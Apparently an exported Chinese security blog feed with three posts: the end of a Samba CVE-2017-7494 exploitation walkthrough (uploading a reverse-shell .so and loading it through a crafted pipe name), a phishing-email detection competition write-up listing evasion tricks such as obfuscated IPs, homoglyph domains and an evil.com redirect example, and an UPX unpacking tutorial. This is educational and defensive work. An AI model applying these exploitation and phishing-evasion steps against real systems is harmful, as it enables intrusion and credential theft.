<h2 id= "利用NetShareGetInfo获取共享文件夹的绝对路径-SharePath" > <a href= "#利用NetShareGetInfo获取共享文件夹的绝对路径-SharePath" class= "headerlink" title= "利用NetShareGetInfo获取共享文件夹的绝对路径(SharePath)" > </a> 利用NetShareGetInfo获取共享文件夹的绝对路径(SharePath)</h2> <p > <img src= "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-26-47.jpg" a l t > <br > 至此获取到了共享名data的绝对路径。<br > 值得注意的是, 这里跟早期的Payload不一样, 早期的payload是靠暴力猜解目录, 所以跟一些分析文章有些出入。现在的Payload是根据NetShareGetInfo直接获取到准确的路径, 极大地提高了攻击的成功率。</p>
<h2 id= "上传恶意so文件" > <a href= "#上传恶意so文件" class= "headerlink" title= "上传恶意so文件" > </a> 上传恶意so文件</h2> <p > <img src= "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-38-28.jpg" a l t > <br > 其中写入的so文件是Metasploit生成的反弹shell, 很简单的执行一句命令。有一点需要注意的是里面的函数名必须是samba_init_module并且是一个导出函数, 这个原因上述的漏洞分析也有提及。</p>
<h2 id= "调用恶意文件, 并执行echo命令打印随机字符串检验是否调用成功" > <a href= "#调用恶意文件, 并执行echo命令打印随机字符串检验是否调用成功" class= "headerlink" title= "调用恶意文件, 并执行echo命令打印随机字符串检验是否调用成功" > </a> 调用恶意文件, 并执行echo命令打印随机字符串检验是否调用成功</h2> <p > <img src= "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-43-02.jpg" a l t > <br > 利用从第2步获取到的可写文件目录(Path)以及从第3步得到的共享文件绝对路径(SharePath)构造恶意管道名\PIPE\/SharePath/Path/Evil.so, 然后通过SMB_COM_NT_CREATE_ANDX进行调用。<br > 在复现时, 调用恶意so文件总会失败, 产生Error Code为: STATUS_OBJECT_NAME_NOT_FOUND的错误。尚未能明白为什么会出现这种首次失败的情况, 也许要详细看看smb协议才能知道了。<br > POC代码将STATUS_OBJECT_PATH_INVALID作为我们payload被加载的标志, 随后就是用NBSS协议进行了一次远程代码执行的测试, 执行代码为echo随机字符串。</p>
<h2 id= "删除恶意so文件, 断开smb连接" > <a href= "#删除恶意so文件, 断开smb连接" class= "headerlink" title= "删除恶意so文件, 断开smb连接" > </a> 删除恶意so文件, 断开smb连接</h2> <p > <img src= "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-45-01.png" a l t > </p>
<p > 由msf给出的poc过程可见, 对路由器的攻击在第五步出现问题, 因此出现Failed to load STATUS_OBJECT_NAME_NOT_FOUND</p>
]]></content>
2021-01-08 08:35:03 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > IOT</category>
2019-07-16 09:15:34 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > Samba</tag>
<tag > 远程执行</tag>
<tag > CVE</tag>
</tags>
</entry>
<entry >
<title > DataCon Coremail邮件安全第三题 Writeup</title>
<url > /2020/10/16/coremail/</url>
<content > <![CDATA[<h2 id="赛题理解"> <a href= "#赛题理解" class= "headerlink" title= "赛题理解" > </a> 赛题理解</h2> <h3 id= "目标" > <a href= "#目标" class= "headerlink" title= "目标" > </a> 目标</h3> <blockquote >
<p > 在真实的企业网络环境中,一些攻击者总能想方设法绕过邮件检测引擎,使攻击邮件抵达员工的收件箱,最终达到窃取用户登录凭证等目的。与此同时,企业网络安全管理团队的精力十分有限,不可能实现对企业的全部邮件进行逐一审查。</p>
</blockquote>
<blockquote >
<p > 如果你是一家企业的邮件安全负责人,能否基于数据分析,利用长达三个月的企业邮件服务器日志摘要信息,设计检测模型,输出一批威胁程度较高的邮件,以便于后续的人工审查。请注意:检测模型不允许使用第三方威胁情报,检测系统必须能够离线运行。</p>
</blockquote>
<p > 从赛题说明中,我们可以提取出几个关键词:邮件、窃取用户凭证、威胁程度、离线运行,最终目的是从邮件通信日志中筛选出钓鱼邮件(窃取用户登录凭证)。</p>
<h3 id= "数据" > <a href= "#数据" class= "headerlink" title= "数据" > </a> 数据</h3> <blockquote >
<p > 约80万封邮件通信日志, 赛事主办方已经对数据进行了脱敏和匿名化处理。</p>
</blockquote>
<blockquote >
<p > 提示: 根据既往经验知识, 威胁程度较高的邮件规模约在2千至2万左右。</p>
</blockquote>
<p > 主办方给了威胁邮件的大致数量范围, 邮件通信日志与第一题真实的邮件格式不同, 每一封邮件都是json格式的数据, 只保留了8个字段, 而且做了匿名化处理。</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > * rcpt: 收信人邮箱地址 ---> [salt+hash]@[salt+hash替换掉敏感域名, 其它保留].[真实TLD]</span> <br > <span class= "line" > * sender: 发件人邮箱地址 ---> 同上</span> <br > <span class= "line" > * ip: 企业邮箱用户登录ip ---> 经过映射处理, 不是真实的ip地址, 但保留子网关系</span> <br > <span class= "line" > * fromname: 发信人名称 ---> 对于白名单关键词( 比如admin, hr, 管理员, 经理等) 进行保留。除了白名单的其它部分salt+hash</span> <br > <span class= "line" > * url: 直接从邮件正文、subject、附件、fromname中提取出来的url ---> [真实协议]://hash+salt替换掉敏感域名.真实TLD/真实参数</span> <br > <span class= "line" > * @timestamp: 时间戳</span> <br > <span class= "line" > * region: 企业邮箱用户登录ip所在地区</span> <br > <span class= "line" > * authuser: 收信时False, 发信时True, 注意企业邮箱域内互发的话是只有一条发信记录</span> <br > <span class= "line" > * tag: 邮件编号, 提交答案需要用到</span> <br > </pre> </td> </tr> </table> </figure>
<h3 id= "提交规则" > <a href= "#提交规则" class= "headerlink" title= "提交规则" > </a> 提交规则</h3> <p > 主办方给的方法很简单, 每一封邮件均有字段tag, 结果只需要每行一个威胁邮件的tag, 换行使用<code > \n</code> </p>
<h3 id= "评分" > <a href= "#评分" class= "headerlink" title= "评分" > </a> 评分</h3> <blockquote >
<p > 比赛过程中排行榜展示每位选手的F1-score, 未提交答案F1-score视为0, 比赛结束后, 每位选手的得分由<code > min-max归一化*100</code> 计算得出, 保留1位小数( 四舍五入) </p>
</blockquote>
<p > 最终得分不仅取决于自己的F1-score, 还取决于所有选手的整体成绩。另外利用F1-score, 我们还能推测出这80万封邮件中大致的威胁邮件数量, 后续再说。</p>
<h2 id= "解题思路" > <a href= "#解题思路" class= "headerlink" title= "解题思路" > </a> 解题思路</h2> <p > 在初步浏览了一些邮件日志内容后,我们将目标锁定为寻找钓鱼邮件的数量。首先需要知道钓鱼邮件是什么,具备哪些特征。</p>
<h3 id= "1-使用短链接" > <a href= "#1-使用短链接" class= "headerlink" title= "1. 使用短链接" > </a> 1. 使用短链接</h3> <p > 短链接就是将较长的网址,通过特定的算法转换为简短的网址字符串。用户无法通过短链接地址直接看出点击这个短链接地址后究竟会打开什么样的网站。<br > 常见的有:<code > t.cn</code> 、 <code > bit.ly</code> 、 <code > bit.do</code> 、 <code > u.to</code> 、 <code > url.cn</code> </p>
<h3 id= "2-使用十六进制IP地址编码格式进行混淆" > <a href= "#2-使用十六进制IP地址编码格式进行混淆" class= "headerlink" title= "2. 使用十六进制IP地址编码格式进行混淆" > </a> 2. 使用十六进制IP地址编码格式进行混淆</h3> <p > 网络攻击者正在不断发展其工具、策略和技术,以逃避垃圾邮件检测系统。 一些垃圾邮件活动非常依赖电子邮件信息中的混淆URL。其中就有使用了URL主机名部分中使用的十六进制IP地址编码格式来逃避检测。<br > 从技术上讲, IP地址可以用多种格式表示, 因此可以在URL中使用, 如下所示: </p>
<ul >
<li > <strong > <a href= "https://216.58.199.78" target= "_blank" rel= "noopener" > https://216.58.199.78</a> </strong> <br > 点分十进制IP地址, 此示例使用Google.com的IP</li>
<li > <strong > <a href= "https://0330.0072.0307.0116" target= "_blank" rel= "noopener" > https://0330.0072.0307.0116</a> </strong> <br > 八进制IP地址, 将每个十进制数字转换为八进制</li>
<li > <strong > <a href= "https://0xD83AC74E" target= "_blank" rel= "noopener" > https://0xD83AC74E</a> </strong> <br > 十六进制IP地址, 将每个十进制数字转换为十六进制</li>
<li > <strong > <a href= "https://3627730766" target= "_blank" rel= "noopener" > https://3627730766</a> </strong> <br > 整数或DWORD IP地址, 将十六进制IP转换为整数</li>
</ul>
<p > 浏览器将自动将十六进制或其他IP格式转换为十进制的IP地址。</p>
<h3 id= "3-邮件钓鱼测试工具固有特征" > <a href= "#3-邮件钓鱼测试工具固有特征" class= "headerlink" title= "3. 邮件钓鱼测试工具固有特征" > </a> 3. 邮件钓鱼测试工具固有特征</h3> <p > PhEmail是基于python编写的一款网络钓鱼邮件测试工具。PhEmail可以同时向多个用户发送钓鱼邮件, 并记录点击的用户的邮箱和IP等信息。PhEmail可以通过Google收集邮箱, 完成邮箱收集工作。<br > 收集邮箱后钓鱼邮件发送常用参数:<code > -w 钓鱼网站url地址, 发送后会自动添加index.php?email=等内容</code> <br > 钓鱼邮件中的url链接伪造时添加email地址并进行编码, 通过钓鱼网站中php文件代码来识别email并记录log文件中。php可以进行重定向到其他网站。</p>
<h3 id= "4-冒充管理员等身份" > <a href= "#4-冒充管理员等身份" class= "headerlink" title= "4. 冒充管理员等身份" > </a> 4. 冒充管理员等身份</h3> <p > 对于企业用户来说, OA钓鱼邮件是最具危险性的钓鱼邮件。攻击者冒充系统管理员发送邮件, 以邮箱升级、邮箱停用等理由诱骗企业用户登录钓鱼网站, 并进而骗取企业员工的帐号、密码、姓名、职务等信息。<br > 钓鱼邮件经常伪装的发件人身份有以下几个主要类型:</p>
<ul >
<li > 冒充系统管理员,以系统升级、身份验证等为由,通过钓鱼网站等方式骗取企业员工的内网帐号密码或邮箱帐号密码。</li>
<li > 冒充特定组织,如协会、机构、会议组织者或政府主管部门等身份发送邮件,骗取帐号密码或钱财。</li>
<li > 冒充客户或冒充自己,即攻击者会冒充企业客户或合作方对企业实施诈骗,或者是攻击者冒充某企业员工对该企业的客户或合作方实施诈骗。当然也有可能 是冒充某个企业的管理者对企业员工实施诈骗。</li>
</ul>
<p > 从fromname( 发信人名称) 中获得的常见名称有: admin、support、安全、service、管理员等。</p>
<h3 id= "5-同形异义词攻击" > <a href= "#5-同形异义词攻击" class= "headerlink" title= "5. 同形异义词攻击" > </a> 5. 同形异义词攻击</h3> <p > 同形异义字是利用IDN中一些非拉丁字符语种的字母与拉丁字符非常相似, 字面看很难区分的特性, 找到对应的字符来实现钓鱼攻击。例如16ვ.com(U+10D5)、16ဒ.com (U+1012)、16ҙ.com (U+0499) 都在一定程度上和163.com有相似性, 基于一些开放的https证书服务这些域名还能取得相应的证书, 进一步增加钓鱼成功的可能性。<br > Punycode是RFC 3492标准设计的编码系统, 用于把Unicode转换为可用的DNS系统的编码, 比如16ҙ.com就会被转成<strong > xn– 16-8tc.com</strong> , 这在一定程度上可以防止IDN欺骗。</p>
<h3 id= "6-URL跳转" > <a href= "#6-URL跳转" class= "headerlink" title= "6. URL跳转" > </a> 6. URL跳转</h3> <p > 使用URL跳转可以突破钓鱼软件检测系统。这类钓鱼软件检测系统在检测是否是钓鱼网站或者恶意系统的时候, 检测的是URL, 而并非网站的内容。比如, 从qq邮箱打开一个URL的时候, 会弹出一个网页提示。但并不是所以的网站都会提示, 一些知名网站是不可能做钓鱼网站的, 所以邮箱就不会拦截, 也就是说, 当邮箱碰到不认识的网站的时候才会进行提示。<br > 这样攻击者就可以利用URLt跳转来躲过恶意检测。比如: <strong > <a href= "http://www.baidu.com/page?url=http://www.evil.com" target= "_blank" rel= "noopener" > http://www.baidu.com/page?url=http://www.evil.com</a> </strong> </p>
<h2 id= "参考" > <a href= "#参考" class= "headerlink" title= "参考" > </a> 参考</h2> <p > 2016中国企业邮箱安全性研究报告 <a href= "https://www.anquanke.com/post/id/85416" target= "_blank" rel= "noopener" > https://www.anquanke.com/post/id/85416</a> <br > PhEmail <a href= "https://github.com/Dionach/PhEmail" target= "_blank" rel= "noopener" > https://github.com/Dionach/PhEmail</a> <br > 微软: 最新钓鱼技术2019总结 <a href= "https://www.4hou.com/posts/A9oz" target= "_blank" rel= "noopener" > https://www.4hou.com/posts/A9oz</a> <br > [译] APT分析报告: 02.钓鱼邮件网址混淆URL逃避检测 <a href= "https://blog.csdn.net/Eastmount/article/details/108728139" target= "_blank" rel= "noopener" > https://blog.csdn.net/Eastmount/article/details/108728139</a> <br > 2017中国企业邮箱安全性 研究报告 <a href= "http://zt.360.cn/1101061855.php?dtid=1101062514&did=491163339" target= "_blank" rel= "noopener" > http://zt.360.cn/1101061855.php?dtid=1101062514& did=491163339</a> <br > 基于URL跳转与XSS组合利用的钓鱼分析 <a href= "https://xz.aliyun.com/t/6303" target= "_blank" rel= "noopener" > https://xz.aliyun.com/t/6303</a> <br > IDN Spoof漏洞自动化挖掘 <a href= "https://blog.lyle.ac.cn/2018/12/08/idnfuzz/" target= "_blank" rel= "noopener" > https://blog.lyle.ac.cn/2018/12/08/idnfuzz/</a> <br > APT杂项篇一种老旧, 但却防不胜防的钓鱼攻击( Punycode 钓鱼攻击)<a href= "https://www.codenong.com/cs106406317/" target= "_blank" rel= "noopener" > https://www.codenong.com/cs106406317/</a> <br > 钓鱼网站也在使用https加密, 如何识别钓鱼网站? <a href= "https://www.freebuf.com/company-information/208790.html" target= "_blank" rel= "noopener" > https://www.freebuf.com/company-information/208790.html</a> <br > 恶意邮件智能监测与溯源技术研究 <a href= "https://www.anquanke.com/post/id/172046#h2-0" target= "_blank" rel= "noopener" > https://www.anquanke.com/post/id/172046#h2-0</a> <br > 钓鱼邮件的投递和伪造 <a href= "https://xz.aliyun.com/t/6325#toc-0、" target= "_blank" rel= "noopener" > https://xz.aliyun.com/t/6325#toc-0、</a> <br > 用机器学习检测钓鱼网站 <a href= "http://blog.hubwiz.com/2019/09/17/detect-phishing-url/" target= "_blank" rel= "noopener" > http://blog.hubwiz.com/2019/09/17/detect-phishing-url/</a> </p>
]]></content>
2019-07-16 09:15:34 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > 杂七杂八</category>
2019-07-16 09:15:34 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > 钓鱼邮件</tag>
<tag > phishing email</tag>
</tags>
</entry>
<entry >
<title > 加壳与脱壳</title>
<url > /2019/05/14/pack-and-unpack/</url>
<content > <![CDATA[<p> 壳附加在原始程序上, 通过Windows加载器载入内存后, 先于原始程序执行, 以得到控制权, 在执行的过程中对原始程序进行解密还原, 然后把控制权还给原始程序, 执行原来的代码。<br > 加上外壳后,原始程序在磁盘文件中一般是以加密后的形式存在的,只在执行时在内存中还原。这样可以有效防止破解者对程序文件进行非法修改,也可以防止程序被静态反编译。</p>
<h1 id= "壳的加载过程" > <a href= "#壳的加载过程" class= "headerlink" title= "壳的加载过程" > </a> 壳的加载过程</h1> <p > 壳和病毒在某些地方类似,都需要获得比原程序更早的控制权。壳修改了原程序执行文件的组织结构,从而获得控制权,但不会影响原程序正常运行。</p>
<ol >
<li > 保存入口参数<br > 加壳程序在初始化时会保存各寄存器的值, 待外壳执行完毕, 再恢复各寄存器的内容, 最后跳回原程序执行。通常用pushad/popad等指令保存和恢复现场环境。</li>
<li > 获取壳本身需要使用的API地址<br > 一般情况下, 外壳的输入表中只有GetProcAddress、GetModuleHandle和LoadLibrary这三个API函数, 甚至只有Kernel32.dll及GetProcAddress。如果需要其他API函数, 可以通过LoadlibraryA或LoadlibraryExA将DLL文件映像映射到调用进程的地址空间中, 函数返回的HINSTANCE值用于标识文件映像所映射的虚拟内存地址。</li>
<li > 解密原程序各个区块的数据<br > 在程序执行时,外壳将解密区块数据,使程序正常运行。</li>
<li > IAT的初始化<br > IAT的填写本来由PE装载器实现, 但由于在加壳时构造了一个自建输入表, 并让PE文件头数据目录表中的输入表指针指向自建输入表, PE装载器转而填写自建输入表, 程序的原始输入表被外壳变形后存储, IAT的填写会由外壳程序实现。外壳从头到尾扫描变形后的输入表结构, 重新获得引入函数地址, 填写在IAT中。</li>
<li > 重定位项的处理<br > 针对加壳的DLL</li>
<li > Hook API<br > 壳在修改原程序文件的输入表后自己模仿操作系统的流程, 向输入表填充相关数据。在填充过程中, 外壳可以填充Hook API代码的地址, 从而获得程序控制权。</li>
<li > 跳转到OEP</li>
</ol>
<h1 id= "通用脱壳方法" > <a href= "#通用脱壳方法" class= "headerlink" title= "通用脱壳方法" > </a> 通用脱壳方法</h1> <p > 通常脱壳的基本步骤如下:<br > 1:寻找OEP<br > 2:转储(PS:传说中的dump)<br > 3:修复IAT(修复导入表)<br > 4:检查目标程序是否存在AntiDump等阻止程序被转储的保护措施,并尝试修复这些问题。<br > 以上是脱壳的经典步骤,可能具体到不同的壳的话会有细微的差别。</p>
<h2 id= "寻找OEP" > <a href= "#寻找OEP" class= "headerlink" title= "寻找OEP" > </a> 寻找OEP</h2> <ol >
<li > 搜索JMP或者CALL指令的机器码(即一步直达法,只适用于少数壳,包括UPX,ASPACK壳)<br > 对于一些简单的壳可以用这种方式来定位OEP,但是对于像AsProtect这类强壳(PS:AsProtect在04年算是强壳了,嘿嘿)就不适用了,我们可以直接搜索长跳转JMP(0E9)或者CALL(0E8)这类长转移的机器码,一般情况下(理想情况)壳在解密完原程序各个区段以后,需要一个长JMP或者CALL跳转到原程序代码段中的OEP处开始执行原程序代码。按CTRL+B组合键搜索一下JMP的机器码E9(CTRL+L查看下一个) ,看看有没有这样一个JMP跳转到原程序的代码段。</li>
<li > 使用OllyDbg自带的功能定位OEP(SFX法)<br > 演示这种方法目标程序我们还是选择CRACKME UPX.EXE,用OD加载该程序,然后选择菜单项Options-Debugging options-SFX。该选项只有当OllyDbg发现壳的入口点位于代码段之外的时候才会起作用,壳的入口点位于代码段中的情况还是比较少见的。</li>
<li > 使用Patch过的OD来定位OEP(即内存映像法)<br > 正常的内存访问断点读取,写入,执行的时候都会断下来,该Patch过的OD内存访问断点仅当执行的时候才会断下来,我们可以利用这一点来定位OEP。<br > UPX壳的解密例程会解密原程序的各个区段并将各个区段原始字节写回到原处,我们最好不要在解密区段的过程中断下来,说不定要断成千上万次才能到达OEP,这里有了这个Patch过的OD就方便多了,其内存访问断点仅当执行的时候才会断下来,当其在执行第一个区段中的代码时,基本上就可以断定是OEP了。</li>
<li > 堆栈平衡法(即ESP定律法)<br > 这种方法适用于一些古老的壳。这些壳首先会使用PUSHAD指令保存寄存器环境,在解密各个区段完毕,跳往OEP之前,会使用POPAD指令恢复寄存器环境。<br > 有的情况下保存寄存器环境可能不是第一条指令,但也在附近了,还有些情况下,有些壳不使用PUSHAD,而是逐一PUSH各个寄存器(例如:PUSH EAX,PUSH EBX等等),总而言之,在解密完区段,跳往OEP之前会恢复寄存器环境。<br > 按F7键执行PUSHAD:可以看到各个寄存器的初始值被压入到堆栈中了,这里我们可以对这些初始值设置内存或者硬件访问断点,当解密例程读取这些初始值的时候就会断下来,断下来处基本上就在OEP附近了。<br > 这里我们可以通过在ESP寄存器值上面单击鼠标右键选择-Follow in dump在数据窗口中定位到这些寄存器的初始值。对这些初始值的第一个字节或者前4个字节设置硬件访问断点。当壳的解密例程读取该值的时候断了下来, 停在popad的下一行,紧接着下面就是跳往OEP处,说明这个方法起作用了。</li>
<li > VB应用程序定位OEP法(Native 或者 P-CODE)<br > 定位VB程序的OEP比较容易,因为VB应用程序都有一个特点-开始都是一个PUSH指令,紧接着一个CALL指令调用一个VB API函数。我们可以使用Patch过的OD,首先定位到VB的动态库,接着给该动态库的代码段设置内存访问断点,<br > 当壳的解密例程解密完原程序各个区段,接着就会断在VB DLL的第一条指令处,接着我们可以在堆栈中定位到返回地址,就可以来到OEP的下一条指令处。这里我们也可以使用前面介绍的方法-跟逐一给各个区段设置内存访问断点(使用Patch过的OD),但是很多壳会检测这种方法,所以大家可能根据需要不同的情况来尝试这不同的方法。这种方法很容易理解,我就不举例子了,以后大家如果遇到了VB程序可以试试这种方法。</li>
<li > 最后一次异常法<br > 如果我们在脱壳的过程中发现目标程序产生大量异常的话,就可以使用最后一次异常法,将EXCEPTIONS菜单项中的忽略各个异常的选项都勾选上,运行起来。这里我们可以看到产生了好几处异常,但是都不是位于第一个区段,说明这些异常不是在原程序运行期间发生的,是在壳的解密例程执行期间产生的异常。重新启动OD,将EXCEPTIONS菜单项中忽略的异常选项的对勾都去掉,仅保留Ignore memory access violations in KERNEL32这个选项的对勾。按SHIFT + F9忽略异常继续运行,我们直到最后一次异常。<br > 接着我们可以 <strong > <em > 对代码段设置内存访问断点</em> </strong> ,可能有人会问,为什么不在一开始设置内存访问断点呢?原因是很多壳会检测程序在开始时是否自身被设置内存访问断点,如果执行到了最后一次异常处的话,很可能已经绕过了壳的检测时机!</li>
<li > 用壳最常用的API函数来定位OEP<br > 将忽略的异常选项都勾选上,我们来定位一下壳最常用的API函数,比如GetProcAddress,LoadLibrary。ExitThread有些壳会用。<br > 使用bp GetProcAddress命令给该API函数设置一个断点。我们只需要知道壳在哪些地方调用GetProcAddress,所以我们在断下来的这一行上面单击鼠标右键选择-Breakpoint-Conditional log,来设置条件记录。将Pause program这一项勾选上Never,记录的表达式设置为[ESP],也就是记录返回地址,这样我们就能知道哪些地方调用GetProcAddress。接着在日志窗口中单击鼠标右键选择-Clear Log(清空日志)。运行起来,我们可以看到程序的主窗口弹了出来,打开日志窗口,看看最后一次GetProcAddress(排除掉第一个区段中调用的位置)是在哪里被调用的。<br > 我们可以在 <strong > <em > 对代码段设置内存访问断点</em> </strong> 之前尝试一下这种方法,这样就可以绕过很多壳对内存断点的检测,但是有一些壳也会对API函数断点进行检测,所以说我们需要各种方式都尝试一下,找到最合适的。</li>
<li > 利用应用程序调用的第一个API函数来定位OEP</li>
</ol>
<h2 id= "IAT表修复" > <a href= "#IAT表修复" class= "headerlink" title= "IAT表修复" > </a> IAT表修复</h2> <p > 为了确保操作系统将正确的API函数地址填充到IAT中,应该满足一下几点要求:<br > 1:可执行文件各IAT项所在的文件偏移处必须是一个指针,指向一个字符串。<br > 2:该字符串为API函数的名称。<br > 如果这两项满足,就可以确保程序在启动时,操作系统会将正确的API函数地址填充到IAT中。<br > 假如,我们当前位于被加壳程序的OEP处,我们接下来可以将程序dump出来,但是在dump之前我们必须修复IAT,为什么要修复IAT呢?难道壳将IAT破坏了吗?对,的确是这样,壳压根不需要原程序的IAT,因为被加壳程序首先会执行解密例程,读取IAT中所需要的API的名称指针,然后定位到API函数地址,将其填入到IAT中,这个时候,IAT中已经被填充了正确的API函数地址,对应的API函数名称的字符串已经不需要了,可以清除掉。<br > 大部分的壳会将API函数名称对应的字符串以密文的形式保存到某个地址处,让Cracker们不能那么容易找到它们。</p>
<h1 id= "压缩壳" > <a href= "#压缩壳" class= "headerlink" title= "压缩壳" > </a> 压缩壳</h1> <p > 压缩壳的特点就是减小软件的体积, 加密保护不是重点。目前, 兼容性和稳定性较好的压缩壳有UPX、ASPack、PECompact等。</p>
<h2 id= "UPX" > <a href= "#UPX" class= "headerlink" title= "UPX" > </a> <a href= "https://upx.github.io/" target= "_blank" rel= "noopener" > UPX</a> </h2> <p > UPX-the Ultimate Packer for eXecutables是以命令行方式操作的可执行文件压缩程序。<br > UPX早期的压缩引擎是有UPX自己实现的, 其3.x版本也支持LZMA第三方压缩引擎。UPX除了对目标程序进行压缩, 也可以解压缩。它不包含任何反调试或保护策略。另外, UPX保护工具UPXPR、UPX-sCRAMBLER等可修改UPX加壳标志, 使其自解压功能失效。<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file</span> <br > </pre> </td> </tr> </table> </figure> </p>
<h3 id= "识别UPX加壳" > <a href= "#识别UPX加壳" class= "headerlink" title= "识别UPX加壳" > </a> 识别UPX加壳</h3> <p > 被加壳程序:点击按钮之后弹框</p>
<ol >
<li > <p > 导入函数很少<br > 未加壳程序的导入函数:<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557817831/%E5%8A%A0%E5%A3%B3/1.png" a l t > <br > 加壳后的导入函数:<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557817867/%E5%8A%A0%E5%A3%B3/2.png" a l t > </p>
</li>
<li > <p > 使用IDA识别代码段<br > 只有少量的代码被识别</p>
</li>
<li > <p > 使用OllyDbg打开程序, 警告被加壳<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557819108/%E5%8A%A0%E5%A3%B3/3.png" a l t > </p>
</li>
<li > <p > 程序的节名包含加壳器的标识<br > 加壳后的程序节名为UPX0、UPX1、rsrc</p>
</li>
<li > <p > 程序拥有不正常的节大小。例如.text节的原始数据大小为0, 但虚拟大小非0<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557819290/%E5%8A%A0%E5%A3%B3/4.png" a l t > </p>
</li>
<li > <p > 使用加壳探测工具如PEiD<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557820111/%E5%8A%A0%E5%A3%B3/5.png" a l t > </p>
</li>
<li > <p > 熵值计算<br > 压缩或加密数据更接近于随机数据, 熵值更高。如使用PEiD计算熵值<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557821441/%E5%8A%A0%E5%A3%B3/6.png" a l t > <br > PEiD计算熵值的方法: <br > 1.重新组织需要计算的数据<br > i. 以下数据不列入计算熵的范围: 导出表数据、导入表数据、资源数据、重定向数据。<br > ii. 尾部全0的数据不列入计算熵的范围。<br > iii. PE头不列入计算熵的范围。<br > 2.分别计算每一部分数据的熵E和该部分数据大小S。<br > 3.以下列公式得到整个PE文件的熵 Entropy = ∑Ei * Si / ∑Si (i = 1,2…n)。</p>
</li>
</ol>
<h3 id= "UPX手动脱壳" > <a href= "#UPX手动脱壳" class= "headerlink" title= "UPX手动脱壳" > </a> UPX手动脱壳</h3> <p > 根据 <strong > <em > 栈平衡原理</em> </strong> 寻找OEP<br > 在编写加壳软件时, 必须保证外壳初始化的现场环境( 各寄存器值) 与原程序的现场环境相同。因此, 加壳程序在初始化时保存各寄存器的值, 待外壳执行完毕后恢复寄存器的内容, 最后跳转到原程序执行。通常用pushad( push eax/ecx/edx/ebx/esp/ebp/esi/edi) 、popad来保存和恢复现场环境。<br > 首先用Ollydbg加载已加壳的程序, 起始代码如下: <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557836854/%E5%8A%A0%E5%A3%B3/7.png" a l t > <br > 此时现场环境(寄存器值)如下:<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557837144/%E5%8A%A0%E5%A3%B3/8.png" a l t > <br > 在执行pushad指令后, 寄存器的值被压入栈中, 如下所示: <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557837250/%E5%8A%A0%E5%A3%B3/9.png" a l t > <br > 此时esp指向12FFA4h, 对这个地址设置硬件访问断点, 然后运行程序, 在调用popad恢复现场环境时会访问12FFA4h, 造成中断, 此时离OEP已经不远了: <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557837519/%E5%8A%A0%E5%A3%B3/10.png" a l t > <br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > 005B5155 .- E9 9506F4FF jmp carckUPX.004F57EF</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 即为跳转到OEP的指令, 设置断点, 跟进到004F57EF, 此时我们就来到了OEP。<br > dump和修复IAT表的工具很多。</p>
<ol >
<li > 使用Ollydump进行程序脱壳和IAT表修复。<br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1557837859/%E5%8A%A0%E5%A3%B3/11.png" a l t > <br > 使用PEiD检查, 果然壳已经脱掉! </li>
<li > 使用PETools dump和Import Reconstruct修复IAT<br > 使用PETools出来的程序不能运行, 提示win32无法识别, 这是因为IAT表没有重建。<br > 使用Import Reconstruct需要知道IAT表的起始位置。<br > 我们知道API函数的调用通常是通过间接跳转或者间接CALL来实现的。<br > 即JMP [XXXXXXX] or CALL [XXXXXX], 这样是直接调用IAT中保存的API函数地址。<br > 首先, 定位到获取IAT中函数地址的跳转表,这里就是该程序将要调用到的一些API函数,我们可以看到这些跳转指令的都是以机器码FF 25开头的,有些教程里面说直接搜索二进制FF 25就可以快速的定位该跳表。<br > 看到整个IAT后,我们直接下拉到IAT的尾部,我们知道属于同一个动态库的API函数地址都是连续存放的,不同的动态库函数地址列表是用零隔开的。<br > Import REConstructor重建IAT需要三项指标:<br > 1)IAT的起始地址,这里是403184,减去映像基址400000就得到了3184(RVA:相对虚拟地址)。<br > 2)IAT的大小<br > IAT的大小 = 40328C - 403184 = 108(十六进制)<br > 3)OEP = 401000(虚拟地址)- 映像基址400000 = 1000(OEP的RVA)。</li>
</ol>
<h2 id= "ASPack" > <a href= "#ASPack" class= "headerlink" title= "ASPack" > </a> <a href= "http://www.aspack.com/" target= "_blank" rel= "noopener" > ASPack</a> </h2> <p > ASPack是一款Win32可执行文件压缩软件, 可压缩Win32可执行文件EXE、DLL、OCX, 具有很高的兼容性和稳定性。</p>
<h1 id= "加密壳" > <a href= "#加密壳" class= "headerlink" title= "加密壳" > </a> 加密壳</h1> <p > 加密壳种类较多,一些壳只保护程序,另一些壳提供额外的功能如注册、使用次数、时间限制。越有名的加密壳,其破解可能性越大。</p>
